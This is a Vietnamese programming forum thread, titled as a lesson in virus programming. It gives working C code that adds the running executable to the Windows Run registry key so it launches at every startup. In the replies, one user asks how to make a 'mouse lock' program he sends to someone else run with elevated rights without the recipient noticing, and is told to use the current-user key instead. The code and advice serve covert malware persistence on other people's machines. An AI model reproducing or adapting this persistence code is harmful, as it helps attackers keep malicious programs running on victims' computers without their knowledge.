Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Trang 1 của 2 12 CuốiCuối
Kết quả 1 đến 10 của 14
  1. #1
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    Lập trình Virus | Cách tạo Key khởi động cho Virus

    yêu cầu ai copy paste để lại bài viết thuộc về congdongcviet nhá


    Mã:
    #include <windows.h> int main(void) {    /* Grab filename of process/exe using GetModuleFileName() function. */    TCHAR szPath[MAX_PATH];      GetModuleFileName(NULL,                      szPath,                      MAX_PATH);      /* Create a New HKEY. */    HKEY newValue;     /* Open Registry key. */     RegOpenKey(HKEY_LOCAL_MACHINE,               "Software\\Microsoft\\Windows\\CurrentVersion\\Run",                &newValue);     /* Note use HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to add for the         current user only.         Now give a new value.         Syntax for RegSetValueEx() function is        LONG WINAPI RegSetValueEx(        __in        HKEY hKey,        __in_opt    LPCTSTR lpValueName,         __reserved  DWORD Reserved,        __in        DWORD dwType,        __in_opt    const BYTE* lpData,        __in        DWORD cbData        );         More info at http://msdn2.microsoft.com/en-us/library/ms724923.aspx */      RegSetValueEx(newValue,                  "Name_Me_Please",                  0,                   REG_SZ,                  (LPBYTE)szPath,                  sizeof(szPath));      /* Close the key. */    RegCloseKey(newValue);    return 0; }

  2. #2
    bài này chạy virut máy mình hay máy người khác bạn; hỏi trước không chạy die máy mình thì khổ [IMG]images/smilies/biggrin.png[/IMG]

  3. #3
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Bạn có thể trình bày rõ cách hoạt động trong chương trình của bạn cho mọi ngưởi cùng rõ với được không [IMG]images/smilies/online.gif[/IMG]
    Mình coi tuy cũng biết sơ sơ nhưng chưa được rõ lắm, như cụ thể thì 2 hàm RegKeyOpen với RegSetValueEx hoạt động thế nào ?

    Thanks !

  4. #4
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi meoconlongvang
    Mình chưa hiểu rõ câu hỏi của bạn. Nhưng công dụng của 2 hàm trên thì dùng để :
    RegKeyOpen -> mở key
    RegSetValueEx -> gán giá trị cho key đã mở
    Thế cho mình hỏi là cái chuỗi "Name_me_please" trong hàm RegSetValueEx là tên file con virus của mình cần cài vô phải không ? Sau khi thực hiện xong hàm này thì trong key Run sẽ có thêm 1 "string value" là địa chỉ con virus đó à (như 1 số string value có sẵn trong key)
    [IMG]images/smilies/online.gif[/IMG]

  5. #5
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Sau khi set xong thì sẽ có thêm 1 key khởi động với tên là name_me_please, đường dẫn chỉ đến file exe

  6. #6
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi AlexF
    yêu cầu ai copy paste để lại bài viết thuộc về congdongcviet nhá


    Mã:
    #include <windows.h> int main(void) {    /* Grab filename of process/exe using GetModuleFileName() function. */    TCHAR szPath[MAX_PATH];      GetModuleFileName(NULL,                      szPath,                      MAX_PATH);      /* Create a New HKEY. */    HKEY newValue;     /* Open Registry key. */     RegOpenKey(HKEY_LOCAL_MACHINE,               "Software\\Microsoft\\Windows\\CurrentVersion\\Run",                &newValue);     /* Note use HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to add for the         current user only.         Now give a new value.         Syntax for RegSetValueEx() function is        LONG WINAPI RegSetValueEx(        __in        HKEY hKey,        __in_opt    LPCTSTR lpValueName,         __reserved  DWORD Reserved,        __in        DWORD dwType,        __in_opt    const BYTE* lpData,        __in        DWORD cbData        );         More info at http://msdn2.microsoft.com/en-us/library/ms724923.aspx */      RegSetValueEx(newValue,                  "Name_Me_Please",                  0,                   REG_SZ,                  (LPBYTE)szPath,                  sizeof(szPath));      /* Close the key. */    RegCloseKey(newValue);    return 0; }
    Sorry đã đào mộ bài này lên. Mình copy đoạn mã này về dịch. nhưng khi vào registry không thấy khóa nào hết. Mình dùng Visual studio 2010 và win 7

  7. #7
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi luanft
    Sorry đã đào mộ bài này lên. Mình copy đoạn mã này về dịch. nhưng khi vào registry không thấy khóa nào hết. Mình dùng Visual studio 2010 và win 7
    Trong win 7 thì muốn ghi vào HKEY_LOCAL_MACHINE bạn phải chạy dưới quyền admin. Chuột phải vào file exe chọn run as administrator

  8. #8
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi noone2407
    Trong win 7 thì muốn ghi vào HKEY_LOCAL_MACHINE bạn phải chạy dưới quyền admin. Chuột phải vào file exe chọn run as administrator
    Mình có làm một con khóa chuột. Nhưng làm sao để ghi nó chạy dưới quyền sa hả bạn?

  9. #9
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi luanft
    Bạn hiểu sai ý mình rồi. Nếu mình viết rồi gửi cho một người nào đó. nếu như bắt người ta chạy sa thì lộ hết rồi. Ý mình là làm sao nó chạy luôn dưới quyền sa sau khi kích hoạt từ usb hay từ một file nào đó
    Thì đừng ghi key vào HKEY_LOCAL_MACHINE nữa sao không ghi vào HKEY_CURRENT_USER ấy.

  10. #10
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi luanft
    Mình có làm một con khóa chuột. Nhưng làm sao để ghi nó chạy dưới quyền sa hả bạn?
    Chuột phải vào file exe chọn run as administrator.

 

 
Trang 1 của 2 12 CuốiCuối

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •